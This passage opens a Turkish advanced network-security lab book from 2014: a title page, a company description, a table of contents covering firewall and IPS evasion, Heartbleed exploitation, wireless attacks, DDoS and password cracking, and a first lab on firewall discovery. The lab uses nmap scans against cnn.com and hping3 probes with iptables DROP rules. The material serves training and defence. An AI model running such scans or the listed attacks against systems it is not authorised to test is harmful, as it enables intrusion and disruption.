1. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
İLERİ SEVİYE AĞ
GÜVENLİĞİ LAB KİTABI
Yazarlar: Osman Cihat IŞIK, Ender AKBAŞ, Huzeyfe ÖNAL
Katkıda Bulunanlar: Ömer ALBAYRAK, Mehmet ATAŞ, Mesut TÜRK
Baskı: 1.Baskı Eylül, 2014
2. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
BGA Bilgi Güvenliği A.Ş. Hakkında
BGA Bilgi Güvenliği A.Ş. 2008 yılından bu yana siber güvenlik alanında faaliyet göstermektedir.
Ülkemizdeki bilgi güvenliği sektörüne profesyonel anlamda destek olmak amacı ile kurulan BGA Bilgi
Güvenliği,stratejik siber güvenlikdanışmanlığı ve güvenlik eğitimleri konularında kurumlara hizmet
vermektedir.
Uluslararası geçerliliğe sahip sertifikalı 50 kişilikteknik ekibi ile,faaliyetlerini Ankara ve İstanbul ve
USA’da sürdüren BGA Bilgi Güvenliği’ninilgi alanlarını “Sızma Testleri, Güvenlik Denetimi, SOME, SOC
Danışmanlığı, Açık Kaynak Siber Güvenlik Çözümleri, Büyük Veri Güvenlik Analizi ve Yeni Nesil
Güvenlik Çözümleri”oluşturmaktadır.
Gerçekleştirdiği başarılı danışmanlık projeleri ve eğitimlerle sektörde saygın bir yer edinen BGA Bilgi
Güvenliği, kurulduğu günden bugüne alanında lider finans, enerji, telekom ve kamu kuruluşlarına
1.000'den fazlaeğitimve danışmanlıkprojelerigerçekleştirmiştir.
BGA Bilgi Güvenliği, kurulduğu 2008 yılından beri ülkemizde bilgi güvenliği konusundaki bilgi ve
paylaşımlarınartmasıamacı ile güvenlike-postalisteleri oluşturulması,seminerler,güvenliketkinlikleri
düzenlenmesi, üniversite öğrencilerine kariyer ve bilgi sağlamak için siber güvenlik kampları
düzenlenmesi ve sosyal sorumlulukprojeleri gibi birçokkonuda gönüllüfaaliyetlerde bulunmuştur.
BGA Bilgi Güvenliği AKADEMİSİ Hakkında
BGA Bilgi GüvenliğiA.Ş.’nineğitimve sosyalsorumlulukmarkasıolarakçalışanBilgi Güvenliği
AKADEMİSİ,sibergüvenlikkonusundaticari,gönüllüeğitimlerindüzenlenmesi ve sibergüvenlik
farkındalığını arttırıcı gönüllüfaaliyetleri yürütülmesindensorumludur.Bilgi Güvenliği AKADEMİSİ
markasıylabugüne kadar“SiberGüvenlik Kampları”,“SiberGüvenlikStaj Okulu”,“SiberGüvenlikAr-
Ge DestekBursu”, ”Ethical Hackingyarışmaları” ve “SiberGüvenlikKütüphanesi” gibi birçok gönüllü
faaliyetindestekleyici olmuştur.
3. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
İçindekiler
1. GÜVENLİK DUVARI(FİREWALL)...............................................................................................11
1.1. GÜVENLİK DUVARI KEŞİF ÇALIŞMASI...............................................................................11
1.1.1. 1.Adım...................................................................................................................11
1.1.2. 2.Adım...................................................................................................................11
1.1.3. 3.Adım...................................................................................................................11
GÜVENLİK DUVARI ENGELLEME YÖNTEMLERİ ............................................................................12
1.2. GÜVENLİK DUVARI KURALLARININ KEŞFEDİLMESİ............................................................14
1.3. FARKLIPORTTA ÇALIŞTIRMA YÖNTEMİYLE KLASİKGÜVENLİKDUVARI ATLATMA
YÖNTEMLERİ............................................................................................................................16
1.3.1. SSHuttle ile güvelik duvarı atlatma..........................................................................16
1.4. GÜVENLİK DUVARI KURALLARININ DENETİMDEN GEÇİRİLMESİ ........................................18
1.5. PORT BAĞIMSIZ PROTOKOL TANIMA(PİPİ) UYGULAMASI.................................................21
1.6. LİNUX IPTABLESEKLENTİLERİ KULLANARAKPAKETİÇİNDEGEÇEN KELİMEYE GÖRE
ENGELLEME .............................................................................................................................23
1.7. LINUX L7 FİLTER KULLANARAK PORT BAĞIMSIZ PROTOKOL/UYGULAMA ENGELLEME ........24
1.9. KATMANLI GÜVENLİK MİMARİSİ NEDİR?.........................................................................27
1.9.1. En dış yönlendirici cihaz..........................................................................................27
1.9.2. Güvenlik Duvarı Bileşeni.........................................................................................27
1.9.3. Ağ tabanlı saldırı tespit ve engelleme sistemi...........................................................27
1.9.4. Anormallik sezinleme sistemi..................................................................................28
1.9.5. Antivirüs Sistemi....................................................................................................28
1.9.6. Konak tabanlı saldırı engelleme sistemi(HIPS) ..........................................................28
1.10. FTP VE GÜVENLİK DUVARLARI........................................................................................28
1.10.1. FTP Protokolü ........................................................................................................28
1.10.2. FTP Çeşitleri...........................................................................................................28
1.10.3. Aktif FTP................................................................................................................28
1.10.4. Pasif FTP................................................................................................................30
1.10.5. Güvenlik Duvarlarında Yaşanabilecek FTP Sorunları..................................................32
1.10.6. Aktif FTP ve Güvenlik Duvarı...................................................................................32
1.10.7. Pasif FTP ve Güvenlik Duvarı...................................................................................33
2. WAF(WEB APPLİCATİON FİREWALL).......................................................................................33
2.1. ENCODİNG/ŞİFRELİ TRAFİK KULLANARAK IPS SİSTEMLERİ ATLATMA.................................33
2.2. SSLDUMP KULLANARAK HTTPS TRAFİĞİ ANALİZİ..............................................................35
2.3. OPENSSL HEARTBLEED ZAFİYETİ İSTİSMARI.....................................................................42
2.3.1. Nmap NSE Kullanarak HeartBleed Zafiyetini Tespit Etme ..........................................43
4. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
2.3.2. Nessusile ‘heartbleed’ Taraması Gerçekleştirme .....................................................44
2.3.3. Metasploitile Heartbleed Testi...............................................................................46
2.3.4. Heartbleed İstismar Scripti......................................................................................47
2.4. SSLSTRIP.......................................................................................................................48
2.4.1. HTTPS’e Güveniniz Tam mı?....................................................................................48
2.4.2. Katmanlı Güvenlik Anlayışı......................................................................................48
2.4.3. HTTPS Güvensiz Midir?...........................................................................................48
2.4.4. SSL’in HTTP ile İmtihanı..........................................................................................50
2.4.5. Göz Yanılgısıyla HTTPS Nasıl Devre Dışı Bırakılır? ......................................................50
2.4.6. SSLStripNasıl Çalışır?..............................................................................................50
2.4.7. Nasıl Korunulur? ....................................................................................................51
2.5. HTTP PARAMETER POLLUTİON KULLANARAK WAF ATLATMA...........................................52
3. KABLOSUZ AĞLARDA(WLAN) GÜVENLİK.................................................................................53
3.1. LINUX SİSTEMLERDE KABLOSUZ AĞLARA BAĞLANMA (WEP/WPA)...................................53
3.1.1. WEP key kullananAP’e bağlanma............................................................................55
3.2. GÖRÜNMEZ (SSID GİZLİ) KABLOSUZ AĞLARIN KEŞFİ.........................................................57
3.3. KABLOSUZ AĞLARDA PAKET ENJEKSİYONU (PACKET INJECTION).......................................60
3.3.1. Ping.......................................................................................................................60
3.3.2. Deauthentication(DoS)...........................................................................................61
3.3.3. Mitm.....................................................................................................................62
3.4. WIFI AĞA BAĞLI İSTEMCİLERİN TESPİTİVE BİLGİ EDİNME.................................................63
3.4.1. Bağlı değilken.........................................................................................................63
3.4.2. Bağlı iken...............................................................................................................63
3.5. KABLOSUZ AĞLARDA TRAFİK İZLEME(SNIFFING)..............................................................65
3.6. KABLOSUZ AĞ TRAFIK ANALİZİ (WIRESHARK KULLANARAK)..............................................66
3.7. KABLOSUZ AĞ TRAFİK ANALİZİ (KISMET KULLANARAK) ....................................................70
3.8. İSTEMCİ BİLGİSAYARLARIN BİRBİRİNİ GÖRMEMESİ İÇİN GEREKLİ AYARLAR .......................72
3.9. WIFI AĞLARDA TCP/IP SALDIRILARI(MITMV.S)...............................................................72
3.10. KİMLİK DOĞRULAMA İÇİN MAC ADRES FİLTRELEMESİNİ AŞMA.........................................75
3.11. HALKA AÇIK KABLOSUZ AĞLARDA KİMLİK ÇALMA SALDIRILARI.........................................77
3.12. WPS DESTEKLİ AĞLARA YÖNELİK PIN BELİRLEME VE PAROLA KIRMA SALDIRILARI..............83
3.13. SAHTE AP ERİŞİMİ KURMA VE İSTEMCİLERİN TRAFİĞİNİ ÜZERİNDEN GEÇİRME..................85
3.14. KARMETASPLOIT ÖRNEKLERİ..........................................................................................87
4. DDOS ENGELLEME SİSTEMLERİ ..............................................................................................92
4.1. SYN FLOOD DDOS SALDIRISI GERÇEKLEŞTİRME VE ENGELLEME ........................................92
4.1.1. SynFlood Nasıl Anlaşılır?.........................................................................................92
5. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
4.1.2. Saldırıda Kullanılan IPAdresleri...............................................................................94
4.1.3. Önlem Alma...........................................................................................................96
4.1.4. Timeout değerlerini düşürme..................................................................................96
4.1.5. Iptables ile SYN Flood Koruması..............................................................................96
4.2. TCP CONNECTİON FLOOD DDOS SALDIRILARI..................................................................97
4.3. SAHTE ALAN ADLARI KULLANARAK DNS FLOOD DDOS SALDIRISI GERÇEKLEŞTİRME ...........98
4.4. DEĞİŞİK TÜRLERDE DDOS SALDIRI ANALİZİ....................................................................100
4.4.1. DDoS Saldırı Tipi Belirleme....................................................................................100
4.4.2. SYN Flood Saldırısı Analizi.....................................................................................103
4.4.3. ACK FloodAnalizi .................................................................................................104
4.4.4. FIN FloodAnalizi ..................................................................................................104
4.5. LİNUX ARAÇLARI KULLANARAK DDOS SALDIRI ANALİZİ...................................................104
4.5.1. Amaç: Aliasve bashscriptingile Synfloodve Httpgetfloodsaldırılarınıntespit
edilmesi 104
4.5.2. Program Kurulumu:..............................................................................................104
4.5.3. Browser ile gezinme:............................................................................................105
4.5.4. SYN Flood Tesbiti:................................................................................................106
4.5.5. Syn Trafik Kaydı:...................................................................................................106
4.5.6. HTTP GET Flood Tesbiti:........................................................................................108
4.6. LİNUX IPTABLES KULLANARAK DOS/DDOS SALDIRILARINI ENGELLEME............................109
4.6.5. 1. kural :..............................................................................................................109
4.6.6. 2. kural................................................................................................................110
4.7. HPING/NPING/MZ ARAÇLARI KULLANARAK DDOS TESTLERİ...........................................110
4.7.5. Hping Çalışma Modları..........................................................................................110
4.7.6. Hping ile paket gönderimi.....................................................................................111
4.7.7. Tcpdump Çıktısı....................................................................................................111
4.7.8. TCP’deki bayraklar ve hping parametreleri.............................................................111
4.7.9. Hping tarafından oluşturulan paket detayı.............................................................112
4.7.10. Hping çıktısını yorumlama.....................................................................................112
4.7.11. Hping kullanımında port belirtimi.........................................................................113
4.7.12. Hping ile spoof edilmiş paketler oluşturma(IP Spoofing) .........................................113
4.7.13. Rastgele Spoof edilmiş ip adreslerinden paket gönderme .......................................114
4.7.14. Nping Kullanarak TCP Connection Flood DoS/DDoS Testleri ....................................114
4.7.15. mz ile DNS paketi oluşturma.................................................................................115
4.8. AMPLIFICATION DDOS SALDIRISI GERÇEKLEŞTİRME.......................................................118
4.8.5. Adım Adım DNS Amplification DoS Saldırısı............................................................118
6. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
4.8.6. Örnek DNS Amplified DoS Saldırısı.........................................................................120
4.9. NTP ÜZERİNDEN AMPLIFICATION DOS SALDIRISI GERÇEKLEŞTİRME................................120
4.9.1. Amplification DDoS Saldırıları...............................................................................120
4.9.2. NTP üzerinden gerçekleştirilen amplification ddos saldırıları...................................121
4.9.3. NTP Monlist özelliği ve istismarı............................................................................122
4.9.4. Monlist özelliği aktif sistemlerin tespiti..................................................................123
4.9.5. Korunma Yöntemleri............................................................................................124
4.10. DDOS SALDIRILARINDA SPOOFEDİLMİŞIPADRESLERİ VE İSTATİSTİKSELDDOSANALİZ
ARACI: AGURI.........................................................................................................................124
4.11. LINUX SİSTEMLERDE SYNFLOOD DDOS SALDIRILARINA KARŞI ÖNLEMALMA...................127
4.11.5. SynFlood Nasıl Anlaşılır?.......................................................................................127
4.11.6. Saldırıda Hangi IPAdresleri Kullanılıyor..................................................................129
4.11.7. Önlem Alma.........................................................................................................131
4.11.8. Timeout değerlerini düşürme................................................................................131
4.11.9. Iptables ile SYN Flood Koruması............................................................................132
4.12. WEB SUNUCULARA DDOS SALDIRILARI, NETSTAT VE TCP OTURUMDETAYLARİ ...............132
4.12.5. Web Sunucunuzun bir DDOS saldırısına karşı olduğunu nasıl anlarsınız?..................132
4.12.6. Nasıl İncelenir? ....................................................................................................132
4.12.7. TCP bağlantılarında netstat aracılığı ile görülebilecek durum senaryoları: ................133
4.12.4. TCP Oturumlarında bağlantı sonlandırma..............................................................133
4.12.5. Bağlantı sonlanması esnasında oluşan durumlar: ...................................................134
5. SALDIRI TESPİT VE ENGELLEME SİSTEMLERİ (IDS/IPS)............................................................136
5.1. IP TTL DEĞERLERİNİ KULLANARAK FIREWALL/IPS KEŞFİ..................................................136
5.1.1. Ngrepile Ag Trafigi Analizi....................................................................................138
5.1.1.1. Ngrep...........................................................................................................138
5.1.1.2. Ngrepile Neler yapabiliriz?............................................................................138
5.1.2. SMTP Trafiği üzerinde ngrep kullanımı...................................................................139
5.1.3. HTTP trafiğini Ngrep ile izleme..............................................................................140
5.1.4. Http portundan yapılan SSH bağlantılarını izleme...................................................140
5.1.5. Http Protokolü üzerinden başka protokollerin kullanılması.....................................141
5.1.6. Ngrep Çıktılarını düzenlemek................................................................................142
5.1.6.1. Kaydedilmiş trafik üzerinde veri arama...........................................................142
5.1.6.2. User/Password bilgilerini alma.......................................................................143
5.1.6.3. Ngrepile şifreli protokollerin İzlenmesi ..........................................................143
5.1.6.4. Parçalanmış Paketler ve Ngrep ......................................................................143
5.2. IDS, IPS, ACTIVE RESPONSE, INLINE TANİMLAR..............................................................144
7. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
5.3. NGREP KULLANARAK DPI ÖRNEKLERİ............................................................................145
5.3.1. Ngrepile AğAnalizi ..............................................................................................145
5.3.2. Ngrepile Neler Yapılabilir?....................................................................................145
5.3.3. SMTP Trafiği üzerinde ngrep kullanımı...................................................................146
5.3.4. HTTP trafiğini Ngrep ile izleme..............................................................................147
5.3.5. Http portundan yapılan SSH bağlantıların izlenilmesi..............................................147
5.3.6. Http Protokolü üzerinden başka protokollerin kullanılması.....................................148
5.3.7. Ngrep Çıktılarını düzenlemek................................................................................148
5.4. KAYDEDİLMİŞ TRAFİK ÜZERİNDE VERİ ARAMA...............................................................149
5.4.1. User/Password bilgilerini alma..............................................................................149
5.4.2. Ngrepile şifreli protokollerin İzlenmesi..................................................................150
5.4.3. Parçalanmış Paketler ve Ngrep..............................................................................150
5.4.4. Ağ Trafiği İçerisinde Özel Kelimelerin Yakalanması..................................................150
5.5. KFSENSOR KULLANARAK TUZAK SİSTEMKURULUMU.....................................................153
5.6. HONEYD KULLANARAK TUZAK SİSTEMUYGULAMASI.....................................................157
5.7. PAKET PARÇALAMA SALDIRILARIVE IDS/IPS SİSTEMLER.................................................159
5.7.1. Fragroute ile Parçalanmış paket çalışmaları ...........................................................159
5.8. SNORT KULLANARAK WEB TABANLI SALDIRILARIN ENGELLENMESİ................................161
5.9. ŞİFRELİ BAĞLANTI KULLANARAK IPS ATLATMA TEKNİĞİ .................................................163
5.10. DNS TÜNELLEME .........................................................................................................164
5.10.1. DNS Tunnel..........................................................................................................164
5.10.2. Tcp-Over-Dns Çalışma Prensibi..............................................................................165
5.10.3. Tcp-Over-Dns Server Yapılandırması......................................................................166
5.10.4. Tcp-Over-Dns Client Yapılandırması.......................................................................166
5.11. SSH YEREL PORT YÖNLENDİRME VE UZAK PORT YÖNLENDİRME.....................................168
5.11.1. Yerel Port Yönlendirme.........................................................................................168
5.11.2. Uzak Port Yönlendirme.........................................................................................169
5.12. SSH ÜZERİNDEN VPN KURULUMU ................................................................................169
5.13. ICMP TUNELLİNG (ICMP ÜZERİNDEN TCP/HTTP PAKETLERİ GEÇİRME) ............................171
5.13.1. ptunnel sunucu kurulumu.....................................................................................171
5.13.2. Bağlantı Kurulumu ve tünelleme...........................................................................172
5.14. WAF KEŞİF ÇALIŞMASI..................................................................................................172
5.15. PARÇALANMIŞ PAKETLER KULLANARAK L7 FIREWALL ATLATMA ÇALIŞMASI....................175
5.15.1. Parçalanmış Paketler ve Güvenlik Duvarları ...........................................................175
5.15.2. OpenBSD PF ve parçalanmış paketler....................................................................175
5.15.3. Parçalanmış Paketler ve Saldırı Tespit Sistemleri....................................................175
8. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
5.16. PROXY SİSTEMLER ÜZERİNDEN PORT TARAMA /TOR)....................................................177
5.16.1. Proxy üzerinden hangi tür port taramalar mümkündür?.........................................178
5.16.2. Normal bir bağlantı..............................................................................................178
5.16.3. Araya Proxy girdikten sonraki bağlantı durumu......................................................178
5.16.4. Tsocks +Nmap ve TOR üzerinden yapılan tarama ...................................................180
5.16.5. Ve Tarama yapılan sunucudaki loglar.....................................................................180
5.17. TUZAK SİSTEMLER KULLANARAK PORT TARAMA, IPS ŞAŞIRTMA.....................................181
5.18. ŞİFRELİ PROTOKOLLER KULLANARAK IPS ATLATMA TEKNİĞİ...........................................183
5.19. SNORT KURALLARININ TESTİ ........................................................................................184
5.20. FTESTER İLE FİREWALL VE IDS TESTLERİ.........................................................................186
5.20.1. Çalışma yapısı......................................................................................................186
5.21. PENETRASYON TESTLERİNDE IPS KEŞFİ..........................................................................188
5.22. KAPALI PORT ÜZERİNDEN BİLGİ TRANSFERİ...................................................................190
5.22.5. Kapalı porta veri göndererek Komut Çalıstırma ......................................................193
5.23. ZEBEDEE İLE UDP BAĞLANTILARINI ŞİFRELEME..............................................................194
5.23.1. FreeBSD için Zebedee Kurulumu ...........................................................................194
6. TCP/IPAĞLARDA GİZLİ KANALLAR VE TÜNELLEME ................................................................197
6.1. WEBTUNNEL ÇALIŞMA MANTIĞI ..................................................................................197
6.1.1. Tunel’i aktif etmek için kullandığım komut:............................................................198
6.1.2. Tunel Güvenliği....................................................................................................199
6.2. SSH TÜNELLEME YÖNTEMİ İLE İÇERİK FİLTRELEME/FIREWALL ATLATMA.........................201
6.3. DNS Tünelleme Yöntemi ile İçerik Filtreleme/Firewall Atlatma.......................................202
6.3.1. DNS Tünelleme ....................................................................................................202
6.3.2. DNS Servisi Nasıl Çalışır?.......................................................................................202
6.3.3. DNS Tünelleme Nasıl Çalışır?.................................................................................202
6.3.4. DNS Tünelleme Araçları........................................................................................204
6.3.5. DNS Tünelleme Uygulaması..................................................................................205
6.4. ICMP Tunelling(ICMP Üzerinden TCP/HTTP Paketleri Geçirme)......................................207
6.5. TOR Sistemi Kullanarak İnternette Gizlilik......................................................................207
6.5.1. Kali Linux üzerine TOR kurulumu...........................................................................207
6.6. ULTRASURF VE TOR KULLANARAK İÇERİK FİLTRELEME ATLATMA....................................209
6.7. ULTRASURF VE BENZERİ ANTİSANSÜR YAZILIMLARININ ENGELLENMESİ .........................213
6.8. PORT KNOCKING YÖNTEMİ İLE PORTLARI GÜVENLİ AÇMA .............................................214
6.8.1. Kurulum..............................................................................................................214
6.8.2. Çalışma Mantığı ...................................................................................................215
6.8.3. Sunucu Kullanımı..................................................................................................215
9. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
6.8.4. İstemci Kullanımı..................................................................................................216
6.8.5. Yapılandırma Dosyası...........................................................................................216
6.8.6. Sunucu Yazılımın Çalışma Modları.........................................................................219
6.8.7. Sunucunun Debug Modda Çalıştırılması.................................................................219
6.9. TÜNNEL-TOR ÜZERİNDEN PORT TARAMA VE GÜVENLİK TARAMALARI............................222
6.10. ICMP PROTOKOLÜNÜN KÖTÜYE KULLANIMI .................................................................225
6.11. TOR NETWORKU ÜZERİNDEN PORT TARAMA................................................................229
6.12. TCP/IPAĞLARDA SNIFFER KULLANIMI...........................................................................234
6.12.1. Trafik Analizi/Sniffing ...........................................................................................234
6.12.1.1. Pasif Sniffing.................................................................................................234
6.12.1.2. Aktif Sniffing.................................................................................................234
6.12.2. Promiscious Mode Kavramı?.................................................................................234
6.12.3. Sniffer Yerleşimi...................................................................................................236
6.12.4. HUB/TAP Kullanılan Ortamlar İçin Sniffer Yerleşimi ................................................236
6.12.5. Switch Kullanılan Ortamlarda Sniffer Yerleşimi.......................................................236
6.12.6. Sniffing Amaçlı Araçlar..........................................................................................237
6.12.7. Şifresiz Protokoller...............................................................................................237
6.12.8. Telnet Protokolü..................................................................................................238
6.12.9. Simple Mail Transfer Protocol...............................................................................239
6.12.10. Şifrelememenin Getirisi ve Götürüleri................................................................239
6.12.11. HTTP üzerinden www.verisign.com adresine ulaşım;..........................................239
6.12.12. HTTPS üzerinden www.verisign.com adresine ulaşım; ........................................241
6.13. NETCAT İLE AĞ OYUNLARI............................................................................................242
6.13.1. Windowsiçin Netcat ............................................................................................242
6.13.2. Temel kullanımı....................................................................................................242
6.13.3. İstemci-sunucu yapısında çalışmasına örnek ..........................................................242
6.13.4. Netcat’i port tarama aracı olarak kullanma............................................................243
6.13.5. Netcat’i Sistem shell’i olarak kullandırtma.............................................................244
6.13.6. Netcat ile Dosya Transferi.....................................................................................244
6.13.7. Güvenli Dosya Transferi........................................................................................245
6.13.8. Diskimajlarını yerel ağda Yedekleme.....................................................................245
6.13.9. Proxy üzerinden SSH Kullanımı..............................................................................246
6.13.10. Telnetistemcisi olarak Netcat ...........................................................................247
7. VPN VE ŞİFRELEME TEKNOLOJİLER VE SALDIRI YÖNTEMLERİ..................................................248
7.1. ENCODİNG, HASH, ŞİFRELEME KAVRAMLARIVE FARKLARI.............................................248
7.2. ENCODING(KODLAMA) ÇEŞİTLERİ.................................................................................249
10. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
7.3. ENCODING/ENCRYPTION/HASH TİPİNİN BELİRLENMESİ VE ÇÖZÜMLENMESİ...................250
7.4. ŞİFRELEME VE HASH TİPİNİN BELİRLENMESİ..................................................................251
7.5. İNTERNET ÜZERİNDEN HASH ÇIKTISININ ARAŞTIRILMASI................................................255
7.6. PAROLA KIRMA DENEMELERİNDE CPU VE GPU FARKLARI GÖSTERİMİ.............................258
7.7. WINDOWS PAROLA KIRMA ARAÇ VE YÖNTEMLERİ ........................................................260
7.7.1. Cain & Abel..........................................................................................................260
7.7.2. John The Ripper...................................................................................................262
7.8. LINUX SİSTEMLER İÇİN PAROLA KIRMA ARAÇVE YÖNTEMLERİ .......................................262
7.8.1. Hydra..................................................................................................................263
7.8.2. Medusa...............................................................................................................263
7.8.3. John The Ripper...................................................................................................264
7.9. MOBİL SİSTEMLER İÇİN PAROLA KIRMA ARAÇ VE YÖNTEMLERİ ......................................264
7.10. PAROLA GÜVENLİĞİNDE TUZLAMANIN ÖNEMİ VE TUZLU PAROLA KIRMA YÖNTEMLERİ ..266
7.11. TRUECRYPT KULLANARAK DOSYA/DİSK ŞİFRELEME........................................................268
7.11.1. TrueCypt Disk/Dosya Şifreleme.............................................................................268
7.12. DİSKŞİFRELEME(TRUECRYPT) YAZILIMLARINA YÖNELİKKABA KUVVETPAROLA DENEME
SALDIRILARI ...........................................................................................................................271
7.13. SSH TRAFİĞİNDE ARAYA GİRME, VERİ OKUMA VE DEĞİŞTİRME ......................................273
7.14. IPSEC VPN KURULUMU VE GÜVENLİK UYGULAMALARI ..................................................276
7.15. OPENSSL KULLANARAK SSL/TLS UYGULAMALARI...........................................................280
7.15.1. Sertifika Otoritesi.................................................................................................280
7.15.2. Özgür bir SSL sürümü: OpenSSL.............................................................................280
7.15.3. OpenSSL ile yardım alma. .....................................................................................281
7.16. KENDİ SERTİFİKA OTORİTE(CA)MIZI OLUŞTURMAK ........................................................283
7.17. CISCO TYPE 7 VE TYPE 5 PAROLALARININ KIRILMASI......................................................285
7.18. MICROSOFT OWA BRUTE FORCE..................................................................................288
7.19. BASIC AUTHENTICATION PAROLA DENEMELERİ.............................................................291
7.19.1. Bruteforce Çalışmalarında Medusa Kullanımı.........................................................291
7.19.2. Bruteforce Çalışmalarında Hydra Kullanımı............................................................293
7.20. MICROSOFT WINDOWS RDP PAROLA DENEMELERİ .......................................................293
7.21. WINDOWS SMB BRUTE FORCE SALDIRISI......................................................................297
7.22. OPENSSH İLE VPN KURULUMU .....................................................................................299
7.23. CAIN& ABEL KULLANARAK SSL MITMSALDIRISI.............................................................303
11. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
SINIR GÜVENLİĞİ BİLEŞENLERİ
1. GÜVENLİK DUVARI(FİREWALL)
1.1. GÜVENLİK DUVARI KEŞİF ÇALIŞMASI
Güvenlik duvarı keşif çalışmasını 3 aşamada inceleyebiliriz.
1.1.1. 1.Adım
Normal bir TCP bağlantısında iletişime geçmek isteyen istemci taraf hedef sistemin ilgili
portuna SYN paketi gönderir. Eğer servis çalışıyor ve hizmet veriyor ise karşılık olarak hedef
sistemistemciye SYN+ACK paketi ile cevap döner. Bu şekilde servisin açık olduğu görülebilir.
root@kali:~# nmap -sS -p80 cnn.com
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT
Nmap scan report for cnn.com (157.166.226.26)
Host is up (0.18s latency).
Other addresses for cnn.com (not scanned): 157.166.226.25
rDNS record for 157.166.226.26: www.cnn.com
PORT STATE SERVICE
80/tcp open http
1.1.2. 2.Adım
Normal bir TCP bağlantısında iletişime geçmek isteyen istemci taraf hedef sistemin ilgili
portuna SYN paketi gönderir. Eğer servis kapalı ve hizmet vermiyor ise karşılık olarak hedef
sistemistemciye RST paketi ile cevap döner. Bu şekilde servisin kapalı olduğu görülebilir.
root@kali:~# nmap -sS -p443 cnn.com
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT
Nmap scan report for cnn.com (157.166.226.26)
Host is up (0.18s latency).
Other addresses for cnn.com (not scanned): 157.166.226.25
rDNS record for 157.166.226.26: www.cnn.com
PORT STATE SERVICE
443/tcp closed https
1.1.3. 3.Adım
Bağlantı kurmak isteyen taraf hedef sistemile iletişime geçtiği zaman gönderdiği SYN paketine
cevap alamıyorsa, yani hedef sistemistemci tarafın SYN paketine SYN+ACK ya da RST gibi bir
cevap dönmüyorsa hedef sistemin önünde bir güvenlik cihazının olduğundan söz edilebilir. Bu
durumda iletişime geçilmek istenen port filtered olarak görünecektir ve erişilemeyecektir.
12. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
root@kali:~# nmap -sS -p22 cnn.com
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT
Nmap scan report for cnn.com (157.166.226.25)
Host is up (0.18s latency).
Other addresses for cnn.com (not scanned): 157.166.226.26
rDNS record for 157.166.226.25: www.cnn.com
PORT STATE SERVICE
22/tcp filtered SSH
GÜVENLİK DUVARI ENGELLEMEYÖNTEMLERİ
Linux sistemlerde kullanılan iptables güvenlik duvarı üzerinde, paket engelleme yöntemlerini
bilmek için aşağıdaki kavramların bilinmesi gerekmektedir.
Iptables komutunun kullanımda temel kavramlar şunlardır:
INPUT: Bilgisayara gelen paketler için uygulanacak kuralları içeren zincirdir.
OUTPUT: Bilgisayardan dışarı giden paketler için uygulanacak kuralları içeren zincirdir.
FORWARD: Bilgisayardan geçen yönlendirilecek paketler için uygulanacak kuralları içeren
zincirdir.
ACCEPT: Paket kabul edilir.
DROP: Paket engellenir ve paketi gönderen kişi paketin engellendiğinden haberdar edilmez.
REJECT: Paketi engeller fakat paketi gönderen kişiye paketin gönderilemediği haber edilir.
İlk olarak hedef sistemin 80 portuna SYN paketi göndererek normal trafiğe bakılabilir.
root@kali:~# hping3 -p 80 -S 6.6.6.63
HPING 6.6.6.63 (eth0 6.6.6.63): S set, 40 headers + 0 data bytes
len=46 ip=6.6.6.63 ttl=63 DF id=53674 sport=80 flags=RA seq=0 win=0 rtt=1.3 ms
len=46 ip=6.6.6.63 ttl=63 DF id=53675 sport=80 flags=RA seq=1 win=0 rtt=7.6 ms
len=46 ip=6.6.6.63 ttl=63 DF id=53676 sport=80 flags=RA seq=2 win=0 rtt=1.6 ms
len=46 ip=6.6.6.63 ttl=63 DF id=53677 sport=80 flags=RA seq=3 win=0 rtt=5.1 ms
^C
--- 6.6.6.63 hping statistic ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 1.3/3.9/7.6 ms
Şimdi DROP yöntemi ile paket engellemeye bakılacaktır. Korumak istenilen sistemin 80
portuna gelen paketleri iptables kuralı ile engellemek için yazılması gereken kural aşağıdaki
gibidir.
root@kali:~#iptables -A INPUT -p tcp --dport 80 -i eth0 -j DROP
13. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Bu kural yazıldığı takdirde 80 portuna gelen istekler DROP edilecek ve istek düşecektir.
root@kali:~# hping3 -p 80 -S 6.6.6.63
HPING 6.6.6.63 (eth0 6.6.6.63): S set, 40 headers + 0 data bytes
^C
--- 6.6.6.63 hping statistic ---
8 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
Burada görüldüğü gibi paket gönderilmiştir fakat hedef sistem cevap vermediği için pakete
